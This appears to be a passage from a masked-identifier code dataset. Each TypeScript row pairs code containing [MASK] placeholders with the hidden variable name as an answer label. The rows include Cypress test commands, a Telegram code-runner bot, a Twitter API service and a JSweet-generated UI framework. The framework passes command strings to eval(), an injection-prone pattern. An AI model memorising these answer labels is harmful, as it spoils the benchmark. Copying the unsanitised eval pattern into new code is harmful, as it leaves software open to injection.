    cy.get('input[name=""password""]').type('<PASSWORD>!')
    cy.get( [MASK] ).should('not.be.disabled')
    cy.get( [MASK] ).click()
})

Cypress.Commands.add('goBackToLoggedPage', (nextUrl: string) => {
    cy.visit(nextUrl)
    cy.url().should('include', Routes.DASHBOARD)
})

Cypress.Commands.add('goBackToUnloggedPage', (nextUrl: string) => {
    cy.visit(nextUrl)
    cy.url().should('include', Routes.HOME)
})

// -- This is a child command --
// Cypress.Commands.add('drag', { prevSubject: 'element'}, (subject, options) => { ... })
//
//
// -- This is a dual command --
// Cypress.Commands.add('dismiss', { prevSubject: 'optional'}, (subject, options) => { ... })
//
//
// -- This will overwrite an existing command --
// Cypress.Commands.overwrite('visit', (originalFn, url, options) => { ... })

declare global {
    namespace Cypress {
        interface Chainable {
            login(): Chainable
            goBackToLoggedPage(nextUrl: string): Chainable
            goBackToUnloggedPage(nextUrl: string): Chainable
        }
    }
}
",buttonSelector
857,"import { Telegraf, Context } from ""telegraf"";
import config from ""./config"";
import Hlp from './helpers'
import * as dt from './btdata'
import pjson from ""../package.json""

let h = new Hlp()

const bt = async (bot: any) => {

  const fs = require('fs');
  const filePath = './data.txt';
  // mdb(bot as any)

  let previous = Date.now()
  bot.hears(new RegExp(""^\\"" + config.startSymbol + ""ping"", 'i'), (ctx: any) => {
    let current = Date.now()
    let  [MASK]  = Math.floor((current - previous) / 1000)
    let sec =  [MASK]  % 60
    let min = (Math.floor( [MASK]  / 60)) % 60
    let hr = Math.floor( [MASK]  / 3600)
    ctx.reply(`=========================
𝗥𝗲𝗮𝗹𝘁𝗶𝗺𝗲 𝗶/𝗼 𝗰𝗼𝗺𝗽𝗶𝗹𝗲𝗿 𝗯𝗼𝘁
=========================

${dt.version}
Uptime: ${hr} : ${min} : ${sec}
`).catch(() => { })
  })

  bot.hears(new RegExp(""^\\"" + config.startSymbol + ""(version)"", 'i'), (ctx: any) => {
    ctx.reply(`=========================
𝗥𝗲𝗮𝗹𝘁𝗶𝗺𝗲 𝗶/𝗼 𝗰𝗼𝗺𝗽𝗶𝗹𝗲𝗿 𝗯𝗼𝘁
=========================

${dt.version}
${config.owner ? ""Owner: "" + config.owner : ""𝐃𝐞𝐯𝐞𝐥𝐨𝐩𝐞𝐫: @PanditSiddharth""}

𝗙𝗲𝗮𝘁𝘂𝗿𝗲𝘀:
  # 𝐍𝐨𝐝𝐞 𝐣𝐬 𝐜𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # 𝐏𝐲𝐭𝐡𝐨𝐧 𝐜𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # 𝐂 𝐜𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # 𝐂++ 𝐂𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # 𝐉𝐚𝐯𝐚 𝐜𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # G𝗼 𝐜𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # T𝐬 𝐜𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # 𝐑𝐮𝐬𝐭 𝐂𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # 𝐁𝐚𝐬𝐡 𝐂𝐨𝐦𝐩𝐢𝐥𝐞𝐫
  # 𝐏𝐨𝐰𝐞𝐫𝐬𝐡𝐞𝐥𝐥 𝐂𝐨𝐦𝐩𝐢𝐥𝐞𝐫

=========================
`).catch(() => { })
  })

  async function hsend(ctx: any, json: any = {}) {
    try {
      return await bot.telegram.editMessageText(ctx.chat.id, json.mid, undefined, json.txt, json.json).catch((err: any) => { })
    } catch (error) { }
  }

  bot.on('callback_query', (ctx: any, next: any) => {
    try {
      let cb = ctx.update.callback_query
      if (!cb.data.includes('help'))
        return next()

      ctx.answerCbQuery()
      let jdata = JSON.parse(cb.data)

      if (jdata.action == 'admin') {
        hsend(ctx, { mid: cb.message.message_id, txt: dt.hAdmin, json: dt.jAdmin })
      } else if (jdata.action == 'cmp') {
        hsend(ctx, { mid: cb.message.message_id, txt: dt.hcmp, json: dt.jcmp })
      } else if (jdata.action == 'util') {
        hsend(ctx, { mid: cb.message.message_id, txt: dt.hUtil, json: dt.jUtil })
      } else if (jdata.action == 'real') {
        hsend(ctx, { mid: cb.message.message_id, txt: dt.hreal, json: dt.jReal })
      } else if (jdata.action == 'close') {
        // hsend(ctx, {mid: cb.message.message_id ,txt: dt.hUtil, json: dt.jUtil})
        ctx.deleteMessage()
      }

    } catch (error) { }
  })

  bot.hears(new RegExp(""^(\\"" + config.startSymbol + ""|\\/|@)(help|start)"", 'i'), async (ctx: any, next: any) => {
    if (ctx.message.text.includes(""run""))
      return next()
    ctx.reply(`𝗥𝗲𝗮𝗹𝘁𝗶𝗺𝗲 𝗶/𝗼 𝗰𝗼𝗺𝗽𝗶𝗹𝗲𝗿 𝗯𝗼𝘁

${dt.hcmp}
`, dt.jcmp);
  })
  
  async function reply(ctx: any, msg: any, tim: number = 10, mode: any = null) {
    ctx.reply(msg, { parse_mode: mode })
      .then(async (ms: any) => { await h.sleep(tim * 1000); return ms; })
      .then(async (ms: any) => { ctx.deleteMessage(ms.message_id).catch((err: any) => { }) })
      .catch((err: any) => { })
  }

  let minf = `bot owner ${config.owner ? config.owner : ""@PanditSiddharth""}
${config.channel + "" "" + config.group}`

}

export default bt;
",tsec
858,"import {Injectable} from '@angular/core';
import {Http, Headers} from ""@angular/http"";
import {ConfigService} from ""../services/config-service"";


@Injectable()
export class TwitterResource {
    private searchUrl: string = 'https://api.twitter.com/1.1/search/tweets.json';
    private authUrl: string = 'https://api.twitter.com/1.1/search/tweets.json';

    constructor(private http: Http,
                private configService: ConfigService) {
    }

    auth() {
        let headers = new Headers({
            'Authorization': 'Basic ' + this.configService.getTwitterTokenAuthBase64Encoded(),
            'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
        });

        return this.http.post(
            this.authUrl, 'grant_type=client_credentials', {headers: headers}
        ).map((response) => {
            let aResponse = response.json() || {};
            if (aResponse && aResponse.access_token) {
                this.configService.setTwitterToken(aResponse.access_token);
            }

            return response.json();
        });
    }

    search( [MASK] : string) {
        let headers = new Headers({
            'Authorization': 'Bearer ' + this.configService.getTwitterToken()
        });

        return this.http.get(
            this.searchUrl +  [MASK] , {headers: headers}
        ).map((response) => {
            return response.json();
        });
    };
}
",query
859,"/**
 *
 * [注意]
 *  自動生成されたコードです。
 *  変更時には十分注意して変更してください。
 *
 *  [生成コマンド]
 *  https://github.com/yamada28go/HackPleasanterApiCli
 *
 *  [生成元テンプレートファイル]
 *  https://github.com/yamada28go/HackPleasanterApi.pleasanter-web-script
 *
 *  [動作に必用なライブラリ]
 *  https://www.npmjs.com/package/@yamada28go/pleasanter-web-script-type-helper
 *
 */
import { HackPleasanterApi_ServiceBase } from ""@yamada28go/pleasanter-web-script-type-helper"";

import { Excel出力試験Model } from ""../Models/Excel出力試験Model"";

export class Excel出力試験Service extends HackPleasanterApi_ServiceBase<Excel出力試験Model> {
  /** サイトID */
  public static readonly SITE_ID_CONSTANT = 5224;

  // 対象としているサイトITを取得する
  override getSiteId(): number {
    return Excel出力試験Service.SITE_ID_CONSTANT;
  }

  override makeItemType( [MASK] : RecordDataItems): Excel出力試験Model {
    return new Excel出力試験Model( [MASK] );
  }
}
",_rawData
860,"/* Generated from Java with JSweet 2.0.0-SNAPSHOT - http://www.jsweet.org */
namespace framework {
    export interface Clickable<T> {
        addOnClick(l : framework.EventListener) : T;

        addOnDoubleClick(l : framework.EventListener) : T;
    }
}
namespace framework {
    export class Data {    }
    Data[""__class""] = ""framework.Data"";

}
namespace framework {
    export interface EventListener {
        performAction(source : framework.JSContainer, evt : Event);
    }
}
namespace framework {
    export interface InputField<T> {
        getValue() : T;

        /**
         * 
         * @param {string} val
         */
        setValue(val? : any) : any;

        setRawValue(value : string);
    }
}
namespace framework {
    export class InputTypes {
        public static text : string = ""text"";

        public static password : string = ""<PASSWORD>"";

        public static datetime : string = ""datetime"";

        public static datetime_local : string = ""datetime_local"";

        public static date : string = ""date"";

        public static month : string = ""month"";

        public static time : string = ""time"";

        public static week : string = ""week"";

        public static number : string = ""number"";

        public static email : string = ""email"";

        public static url : string = ""url"";

        public static search : string = ""search"";

        public static tel : string = ""tel"";

        public static color : string = ""color"";

        public static checkbox : string = ""checkbox"";

        public static radio : string = ""radio"";
    }
    InputTypes[""__class""] = ""framework.InputTypes"";

}
namespace framework {
    export class JSMap extends Object {
        public getJavascript() : string {
            return JSON.stringify(this);
        }
    }
    JSMap[""__class""] = ""framework.JSMap"";

}
namespace framework {
    export class Main {
        public static main(args : string[]) {
            let c : framework.JSContainer = new framework.JSContainer(""div"");
            c.setStyle(""width"", ""30px"").setStyle(""background-color"", ""red"").setStyle(""height"", ""300px"");
            c.addChild$framework_JSContainer(new framework.JSContainer(""ul"").addChild$framework_JSContainer(new framework.JSContainer(""li"").addChild$framework_JSContainer(new framework.JSContainer(""a"").addEventListener(new Main.Main$0(), ""click"").setHtml(""Hello world""))));
            setTimeout((((c) => {
                return () => {
                    c.render$jsweet_dom_HTMLElement(document.getElementById(""root""));
                }
            })(c)), 5000);
        }
    }
    Main[""__class""] = ""framework.Main"";


    export namespace Main {

        export class Main$0 implements framework.EventListener {
            /**
             * 
             * @param {framework.JSContainer} source
             * @param {Event} evt
             */
            public performAction(source : framework.JSContainer, evt : Event) {
                source.setStyle(""background-color"", ""blue"");
            }

            constructor() {
            }
        }
        Main$0[""__interfaces""] = [""framework.EventListener""];


    }

}
namespace framework {
    export interface Renderable {
        getChangedAttributes() : string[];

        getChangedStyles() : string[];

        getRenderers() : java.util.List<framework.renderer.Renderer<any>>;

        addRenderer(renderer : framework.renderer.Renderer<any>) : Renderable;

        getId() : string;

        uid() : string;

        addClass(styleClass : string) : Renderable;

        removeClass(cls : string) : Renderable;

        addChild(child? : any, layoutData? : any) : any;

        addChildAt(index : number, child : framework.JSContainer) : Renderable;

        setVisible(b : boolean) : Renderable;

        addEventListener(listener : framework.EventListener, type : string) : Renderable;

        getTag() : string;

        setTag(tag : string) : Renderable;

        setStyle(key : string, value : string) : Renderable;

        getStyle(key : string) : string;

        setAttribute(key : string, value : string) : Renderable;

        exec(name? : any, parameter? : any) : any;

        getCommands() : java.lang.Iterable<framework.JSContainer.JSCommand>;

        getAttribute(key : string) : string;

        getName() : string;

        setName(name : string);

        getParent() : Renderable;

        getChildren() : java.util.List<framework.JSContainer>;

        getStyleNames() : java.util.Set<string>;

        getAttributeNames() : java.util.Set<string>;

        getHtml() : string;

        setHtml(h : string) : Renderable;

        isRendered() : boolean;

        setRendered(b : boolean) : Renderable;

        getListeners() : java.util.Map<string, java.util.List<framework.EventListener>>;

        render(root? : any) : any;

        getData() : any;

        setData(data : any);

        /**
         * 
         * @param {string} id
         * @return
         * @return {*}
         */
        getAncestorById(id : string) : Renderable;

        getAncestorByName(name : string) : Renderable;

        getRoot() : Renderable;

        setParameters(parameters : java.util.Map<string, string>);
    }
}
namespace framework.renderer {
    export class ContainerRenderer implements framework.renderer.Renderer<framework.JSContainer> {
        public doRender(c : framework.JSContainer, root : HTMLElement) {
            let jq : HTMLElement = document.getElementById(c.getId());
            let tag : string = c.getTag();
            let rendered : boolean = c.isRendered();
            let name : string = c.getName();
            let html : string = c.getHtml();
            let parent : framework.Renderable = c.getParent();
            if(!rendered) {
                if(jq != null) jq.remove();
                let njq : HTMLElement = document.createElement(tag);
                if(name != null && name.length > 0) njq.setAttribute(""name"", name);
                njq.setAttribute(""id"", c.getId());
                njq.innerHTML = html;
                this.renderAttributes(njq, c, false);
                this.renderStyles(njq, c, false);
                if(parent == null) {
                    if(root == null) {
                        let body : Node = document.getElementsByTagName(""body"")[0];
                        body.appendChild(njq);
                    } else {
                        root.appendChild(njq);
                    }
                } else {
                    let index : number = parent.getChildren().indexOf(c);
                    let nextSib : framework.Renderable = null;
                    if(index < parent.getChildren().size() - 1) {
                        nextSib = parent.getChildren().get(index + 1);
                        if(!nextSib.isRendered()) {
                            nextSib = null;
                        }
                    }
                    if(nextSib != null) {
                        let p : Node = document.getElementById(parent.getId());
                        p.insertBefore(njq, document.getElementById(nextSib.getId()));
                    } else {
                        document.getElementById(parent.getId()).appendChild(njq);
                    }
                }
                this.renderEvents(njq, c);
                this.execCommands(njq, c);
                c.flush(""a28n12l10"");
            } else {
                this.renderAttributes(jq, c, true);
                this.renderStyles(jq, c, true);
                this.execCommands(jq, c);
                c.flush(""a28n12l10"");
            }
        }

        execCommands(njq : HTMLElement, container : framework.Renderable) {
            for(let index137=container.getCommands().iterator();index137.hasNext();) {
                let command = index137.next();
                {
                    let name : string = command.getName();
                    let params : Object = command.getParameters();
                    let variable : string = command.getVariable();
                    if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(""null"",variable))) {
                        variable = null;
                    }
                    if(params == null && variable == null) {
                        eval(""njq."" + name + ""()"");
                    } else if(params != null) {
                        eval(""njq."" + name + ""(params)"");
                    } else if(variable != null) {
                        eval(""njq."" + name + ""("" + variable + "")"");
                    }
                }
            }
        }

        renderEvents(njq : HTMLElement, c : framework.JSContainer) {
            for(let index138=c.getListeners().keySet().iterator();index138.hasNext();) {
                let key = index138.next();
                {
                    let listeners : java.util.List<framework.EventListener> = c.getListeners().get(key);
                    njq.addEventListener(key, ((listeners) => {
                        return (evt) => {
                            for(let index139=listeners.iterator();index139.hasNext();) {
                                let l = index139.next();
                                {
                                    this.synchronizeFields(njq, c);
                                    l.performAction(c, evt);
                                }
                            }
                            c.getRoot().render();
                        }
                    })(listeners));
                }
            }
        }

        synchronizeFields(njq : HTMLElement,  [MASK]  : framework.Renderable) {
            if( [MASK]  != null && ( [MASK] [""__interfaces""] != null &&  [MASK] [""__interfaces""].indexOf(""framework.InputField"") >= 0 ||  [MASK] .constructor != null &&  [MASK] .constructor[""__interfaces""] != null &&  [MASK] .constructor[""__interfaces""].indexOf(""framework.InputField"") >= 0)) {
                let inputField : framework.InputField<string> = <framework.JSInput><any> [MASK] ;
                if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })( [MASK] .getTag(),""input"")) && /* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(""checkbox"", [MASK] .getAttribute(""type"")))) {
                    let field : HTMLInputElement = <HTMLInputElement>document.getElementById( [MASK] .getId());
                    if((<HTMLInputElement>field).checked) {
                        inputField.setRawValue(""true"");
                    } else {
                        inputField.setRawValue(""false"");
                    }
                } else {
                    let field : HTMLInputElement = <HTMLInputElement>document.getElementById( [MASK] .getId());
                    let value : string = (<HTMLInputElement>field).value;
                    if(value == null) {
                        inputField.setRawValue("""");
                    } else {
                        alert(value);
                        inputField.setRawValue(value);
                    }
                }
            }
            for(let index140= [MASK] .getChildren().iterator();index140.hasNext();) {
                let c = index140.next();
                {
                    this.synchronizeFields(document.getElementById(c.getId()), c);
                }
            }
        }

        renderAttributes(njq : HTMLElement, c : framework.Renderable, changed : boolean) {
            if(changed) {
                {
                    let array142 = c.getChangedAttributes();
                    for(let index141=0; index141 < array142.length; index141++) {
                        let key = array142[index141];
                        {
                            njq.setAttribute(key, c.getAttribute(key));
                        }
                    }
                }
            } else {
                for(let index143=c.getAttributeNames().iterator();index143.hasNext();) {
                    let key = index143.next();
                    {
                        njq.setAttribute(key, c.getAttribute(key));
                    }
                }
            }
        }

        clearAttributes(elem : HTMLElement) {
            let attrs : NamedNodeMap = elem.attributes;
            for(let i : number = 0; i < attrs.length; i++) {
                if(!/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(attrs[i].name,""id""))) elem.removeAttribute(attrs[i].name);
            };
        }

        clearStyles(jq : HTMLElement) {
            jq.removeAttribute(""style"");
        }

        renderStyles(njq : HTMLElement, c : framework.Renderable, changed : boolean) {
            if(changed) {
                {
                    let array145 = c.getChangedStyles();
                    for(let index144=0; index144 < array145.length; index144++) {
                        let key = array145[index144];
                        {
                            njq.style.setProperty(key, c.getStyle(key));
                        }
                    }
                }
            } else {
                for(let index146=c.getStyleNames().iterator();index146.hasNext();) {
                    let key = index146.next();
                    {
                        njq.style.setProperty(key, c.getStyle(key));
                    }
                }
            }
        }

        constructor() {
        }
    }
    ContainerRenderer[""__class""] = ""framework.renderer.ContainerRenderer"";
    ContainerRenderer[""__interfaces""] = [""framework.renderer.Renderer""];


}
namespace framework.renderer {
    export interface Renderer<T extends framework.Renderable> {
        doRender(c : framework.JSContainer, root : HTMLElement);
    }
}
namespace framework {
    export class Static {
        public static idCount : number = 0;
    }
    Static[""__class""] = ""framework.Static"";

}
namespace framework {
    export class TreeNode {
        /*private*/ text : string;

        /*private*/ nodes : java.util.List<TreeNode> = <any>(new java.util.LinkedList<any>());

        /*private*/ userObject : any;

        public getText() : string {
            return this.text;
        }

        public setText(text : string) {
            this.text = text;
        }

        public getNodes() : java.util.List<TreeNode> {
            return this.nodes;
        }

        public setNodes(nodes : java.util.List<TreeNode>) {
            this.nodes = nodes;
        }

        public getUserObject() : any {
            return this.userObject;
        }

        public setUserObject(userObject : any) {
            this.userObject = userObject;
        }

        constructor() {
            this.text = null;
            this.userObject = null;
        }
    }
    TreeNode[""__class""] = ""framework.TreeNode"";

}
namespace framework.util {
    /**
     * The Class IOUtil.
     * 
     * @author <NAME><br>
     * <EMAIL> Oct 22, 2008
     * @class
     */
    export class IOUtil {
        public static getFileContenntAsString$java_io_File$java_lang_String(file : java.io.File, encoding : string) : string {
            let is : java.io.FileInputStream = new java.io.FileInputStream(file);
            return IOUtil.getStreamContentAsString(is);
        }

        /**
         * Gets the file content as string.
         * 
         * @param {java.io.File} file
         * the file
         * @param {string} encoding
         * the encoding
         * @return {string} the file content as string
         * @throws Exception
         * the exception
         */
        public static getFileContenntAsString(file? : any, encoding? : any) : any {
            if(((file != null && file instanceof <any>java.io.File) || file === null) && ((typeof encoding === 'string') || encoding === null)) {
                return <any>framework.util.IOUtil.getFileContenntAsString$java_io_File$java_lang_String(file, encoding);
            } else if(((typeof file === 'string') || file === null) && ((typeof encoding === 'string') || encoding === null)) {
                return <any>framework.util.IOUtil.getFileContenntAsString$java_lang_String$java_lang_String(file, encoding);
            } else if(((file != null && file instanceof <any>java.io.File) || file === null) && encoding === undefined) {
                return <any>framework.util.IOUtil.getFileContenntAsString$java_io_File(file);
            } else if(((typeof file === 'string') || file === null) && encoding === undefined) {
                return <any>framework.util.IOUtil.getFileContenntAsString$java_lang_String(file);
            } else throw new Error('invalid overload');
        }

        public static getFileContenntAsString$java_io_File(file : java.io.File) : string {
            let is : java.io.FileInputStream = new java.io.FileInputStream(file);
            let s : string = <string>new String(IOUtil.getStreamContentAsBytes(is));
            return s;
        }

        public static getFileContenntAsString$java_lang_String$java_lang_String(fileName : string, encoding : string) : string {
            let is : java.io.FileInputStream = new java.io.FileInputStream(fileName);
            return IOUtil.getStreamContentAsString(is);
        }

        public static getFileContenntAsString$java_lang_String(fileName : string) : string {
            let is : java.io.FileInputStream = new java.io.FileInputStream(fileName);
            return <string>new String(IOUtil.getStreamContentAsBytes(is));
        }

        /**
         * Gets the file content as bytes.
         * 
         * @param {string} fileName
         * the file name
         * @return {Array} the file content as bytes
         * @throws Exception
         * the exception
         */
        public static getFileContentAsBytes(fileName : string) : number[] {
            let is : java.io.FileInputStream = new java.io.FileInputStream(fileName);
            return IOUtil.getStreamContentAsBytes(is);
        }

        /**
         * Gets the stream content as string.
         * 
         * @param {java.io.InputStream} is
         * the is
         * @return {string} the stream content as string
         */
        public static getStreamContentAsString(is : java.io.InputStream) : string {
            try {
                let buf : number[] = (s => { let a=[]; while(s-->0) a.push(0); return a; })(is.available());
                is.read(buf);
                let s : string = <string>new String(buf);
                return s;
            } catch(e) {
                throw new java.lang.RuntimeException(e);
            };
        }

        /**
         * Gets the stream content as bytes.
         * 
         * @param {java.io.InputStream} is
         * the is
         * @return {Array} the stream content as bytes
         * @throws Exception
         * the exception
         */
        public static getStreamContentAsBytes(is : java.io.InputStream) : number[] {
            let data : number[] = (s => { let a=[]; while(s-->0) a.push(0); return a; })(is.available());
            if(is.available() === 0) {
                return data;
            }
            is.read(data);
            return data;
        }

        public static writeToFile(content : string, f : java.io.File) : boolean {
            let fout : java.io.FileOutputStream = new java.io.FileOutputStream(f);
            fout.write(/* getBytes */(content).split('').map(s => s.charCodeAt(0)));
            fout.flush();
            fout.close();
            return true;
        }
    }
    IOUtil[""__class""] = ""framework.util.IOUtil"";

}
namespace framework {
    /**
     * 
     * @author Kurreem
     * @param {string} name
     * @param {string} tag
     * @class
     */
    export class JSContainer implements framework.Renderable {
        /**
         * 
         */
        static DEFAULT_RENDERER : framework.renderer.Renderer<any>; public static DEFAULT_RENDERER_$LI$() : framework.renderer.Renderer<any> { if(JSContainer.DEFAULT_RENDERER == null) JSContainer.DEFAULT_RENDERER = new framework.renderer.ContainerRenderer(); return JSContainer.DEFAULT_RENDERER; };

        /*private*/ listeners : java.util.Map<string, java.util.List<framework.EventListener>> = <any>(new java.util.HashMap<any, any>());

        /*private*/ id : string;

        /*private*/ data : any;

        /*private*/ attributes : java.util.Map<string, string> = <any>(new java.util.HashMap<any, any>());

        /*private*/ styles : java.util.Map<string, string> = <any>(new java.util.HashMap<any, any>());

        /*private*/ parent : JSContainer;

        /*private*/ children : java.util.List<JSContainer> = <any>(new java.util.LinkedList<any>());

        /*private*/ html : string = """";

        /*private*/ tag : string = """";

        /*private*/ name : string = """";

        /*private*/ rendered : boolean = false;

        /*private*/ renderers : java.util.List<framework.renderer.Renderer<any>> = <any>(new java.util.ArrayList<any>());

        /*private*/ changedAttributes : java.util.List<string> = <any>(new java.util.LinkedList<any>());

        /*private*/ changedStyles : java.util.List<string> = <any>(new java.util.LinkedList<any>());

        /*private*/ commands : java.util.List<JSContainer.JSCommand> = <any>(new java.util.LinkedList<any>());

        public constructor(name? : any, tag? : any) {
            if(((typeof name === 'string') || name === null) && ((typeof tag === 'string') || tag === null)) {
                let __args = Array.prototype.slice.call(arguments);
                this.id = null;
                this.data = null;
                this.parent = null;
                this.listeners = <any>(new java.util.HashMap<any, any>());
                this.attributes = <any>(new java.util.HashMap<any, any>());
                this.styles = <any>(new java.util.HashMap<any, any>());
                this.children = <any>(new java.util.LinkedList<any>());
                this.html = """";
                this.tag = """";
                this.name = """";
                this.rendered = false;
                this.renderers = <any>(new java.util.ArrayList<any>());
                this.changedAttributes = <any>(new java.util.LinkedList<any>());
                this.changedStyles = <any>(new java.util.LinkedList<any>());
                this.commands = <any>(new java.util.LinkedList<any>());
                this.id = null;
                this.data = null;
                this.parent = null;
                (() => {
                    this.tag = tag;
                    this.name = name;
                })();
            } else if(((typeof name === 'string') || name === null) && tag === undefined) {
                let __args = Array.prototype.slice.call(arguments);
                let tag : any = __args[0];
                this.id = null;
                this.data = null;
                this.parent = null;
                this.listeners = <any>(new java.util.HashMap<any, any>());
                this.attributes = <any>(new java.util.HashMap<any, any>());
                this.styles = <any>(new java.util.HashMap<any, any>());
                this.children = <any>(new java.util.LinkedList<any>());
                this.html = """";
                this.tag = """";
                this.name = """";
                this.rendered = false;
                this.renderers = <any>(new java.util.ArrayList<any>());
                this.changedAttributes = <any>(new java.util.LinkedList<any>());
                this.changedStyles = <any>(new java.util.LinkedList<any>());
                this.commands = <any>(new java.util.LinkedList<any>());
                this.id = null;
                this.data = null;
                this.parent = null;
                (() => {
                    this.tag = tag;
                })();
            } else throw new Error('invalid overload');
        }

        /**
         * 
         * @return {Array}
         */
        public getChangedAttributes() : string[] {
            return this.changedAttributes.toArray<any>(new Array(this.changedAttributes.size()));
        }

        /**
         * 
         * @return {Array}
         */
        public getChangedStyles() : string[] {
            return this.changedStyles.toArray<any>(new Array(this.changedStyles.size()));
        }

        public flush(s : string) {
            if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(s,""a28n12l10""))) {
                this.changedAttributes.clear();
                this.changedStyles.clear();
                this.commands.clear();
            }
        }

        /**
         * 
         * @return {*}
         */
        public getRenderers() : java.util.List<framework.renderer.Renderer<any>> {
            return this.renderers;
        }

        /**
         * 
         * @param {*} renderer
         * @return {framework.JSContainer}
         */
        public addRenderer(renderer : framework.renderer.Renderer<any>) : JSContainer {
            if(!this.renderers.contains(renderer)) {
                this.renderers.add(renderer);
            }
            return this;
        }

        /**
         * 
         * @return {string}
         */
        public getId() : string {
            if(this.id == null) {
                this.id = this.uid();
            }
            return this.id;
        }

        /**
         * 
         * @return {string}
         */
        public uid() : string {
            framework.Static.idCount++;
            return framework.Static.idCount + """";
        }

        /**
         * 
         * @param {string} styleClass
         * @return {framework.JSContainer}
         */
        public addClass(styleClass : string) : JSContainer {
            let styles : string = this.getAttribute(""class"");
            if(styles == null) {
                styles = """";
            }
            let aStyles : string[] = styles.split("" "");
            let add : boolean = true;
            for(let index147=0; index147 < aStyles.length; index147++) {
                let style = aStyles[index147];
                {
                    if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(style.trim(),styleClass))) {
                        add = false;
                    }
                }
            }
            if(add) this.setAttribute(""class"", styles.trim() + "" "" + styleClass);
            return this;
        }

        /**
         * 
         * @param {string} cls
         * @return {framework.JSContainer}
         */
        public removeClass(cls : string) : JSContainer {
            let cl : string = this.getAttribute(""class"");
            if(cl != null && cl.length > 0) {
                cl = /* replace */cl.split(cls).join("""");
                this.setAttribute(""class"", cl);
            }
            return this;
        }

        public addChild(child? : any, layoutData? : any) : any {
            if(((child != null && child instanceof <any>framework.JSContainer) || child === null) && layoutData === undefined) {
                return <any>this.addChild$framework_JSContainer(child);
            } else throw new Error('invalid overload');
        }

        public addChild$framework_JSContainer(container : JSContainer) : JSContainer {
            container.parent = this;
            this.children.add(container);
            return this;
        }

        /**
         * 
         * @param {number} index
         * @param {framework.JSContainer} child
         * @return {framework.JSContainer}
         */
        public addChildAt(index : number, child : JSContainer) : JSContainer {
            child.parent = this;
            this.children.add(index, child);
            return this;
        }

        /**
         * 
         * @param {boolean} b
         * @return {framework.JSContainer}
         */
        public setVisible(b : boolean) : JSContainer {
            if(!b) {
                this.setStyle(""display"", ""none"");
            } else {
                this.styles.remove(""display"");
                this.setRendered(false);
            }
            return this;
        }

        /**
         * 
         * @param {*} listener
         * @param {string} type
         * @return {framework.JSContainer}
         */
        public addEventListener(listener : framework.EventListener, type : string) : JSContainer {
            if(!this.listeners.containsKey(type)) {
                this.listeners.put(type, <any>(new java.util.ArrayList<any>()));
            }
            if(!this.listeners.get(type).contains(listener)) {
                this.listeners.get(type).add(listener);
            }
            return this;
        }

        /**
         * 
         * @return {string}
         */
        public getTag() : string {
            return this.tag;
        }

        /**
         * 
         * @param {string} tag
         * @return {framework.JSContainer}
         */
        public setTag(tag : string) : JSContainer {
            this.tag = tag;
            return this;
        }

        /**
         * 
         * @param {string} key
         * @param {string} value
         * @return {framework.JSContainer}
         */
        public setStyle(key : string, value : string) : JSContainer {
            this.changedStyles.add(key);
            this.styles.put(key, value);
            return this;
        }

        /**
         * 
         * @param {string} key
         * @return {string}
         */
        public getStyle(key : string) : string {
            return this.styles.get(key);
        }

        /**
         * 
         * @param {string} key
         * @param {string} value
         * @return {framework.JSContainer}
         */
        public setAttribute(key : string, value : string) : JSContainer {
            this.changedAttributes.add(key);
            this.attributes.put(key, value);
            return this;
        }

        public exec$java_lang_String$jsweet_lang_Object(name : string, parameter : Object) {
            this.commands.add(new JSContainer.JSCommand(this, name, JSON.stringify(parameter)));
        }

        /**
         * 
         * @param {string} name
         * @param {Object} parameter
         */
        public exec(name? : any, parameter? : any) : any {
            if(((typeof name === 'string') || name === null) && ((parameter != null && parameter instanceof <any>Object) || parameter === null)) {
                return <any>this.exec$java_lang_String$jsweet_lang_Object(name, parameter);
            } else if(((typeof name === 'string') || name === null) && ((typeof parameter === 'string') || parameter === null)) {
                return <any>this.exec$java_lang_String$java_lang_String(name, parameter);
            } else if(((typeof name === 'string') || name === null) && parameter === undefined) {
                return <any>this.exec$java_lang_String(name);
            } else throw new Error('invalid overload');
        }

        public exec$java_lang_String$java_lang_String(name : string, variable : string) {
            this.commands.add(new JSContainer.JSCommand(this, name, variable));
        }

        public exec$java_lang_String(name : string) {
            this.exec$java_lang_String$java_lang_String(name, <string>null);
        }

        /**
         * 
         * @return {*}
         */
        public getCommands() : java.lang.Iterable<JSContainer.JSCommand> {
            return this.commands;
        }

        /**
         * 
         * @param {string} key
         * @return {string}
         */
        public getAttribute(key : string) : string {
            return this.attributes.get(key);
        }

        /**
         * 
         * @return {string}
         */
        public getName() : string {
            return this.name;
        }

        /**
         * 
         * @param {string} name
         */
        public setName(name : string) {
            this.name = name;
        }

        /**
         * 
         * @return {framework.JSContainer}
         */
        public getParent() : JSContainer {
            return this.parent;
        }

        /**
         * 
         * @return {*}
         */
        public getChildren() : java.util.List<JSContainer> {
            return this.children;
        }

        /**
         * 
         * @return {*}
         */
        public getStyleNames() : java.util.Set<string> {
            return this.styles.keySet();
        }

        /**
         * 
         * @return {*}
         */
        public getAttributeNames() : java.util.Set<string> {
            return this.attributes.keySet();
        }

        /**
         * 
         * @return {string}
         */
        public getHtml() : string {
            return this.html;
        }

        /**
         * 
         * @param {string} h
         * @return {framework.JSContainer}
         */
        public setHtml(h : string) : JSContainer {
            this.html = h;
            return this;
        }

        /**
         * 
         * @return {boolean}
         */
        public isRendered() : boolean {
            return this.rendered;
        }

        /**
         * 
         * @param {boolean} b
         * @return {framework.JSContainer}
         */
        public setRendered(b : boolean) : JSContainer {
            this.rendered = b;
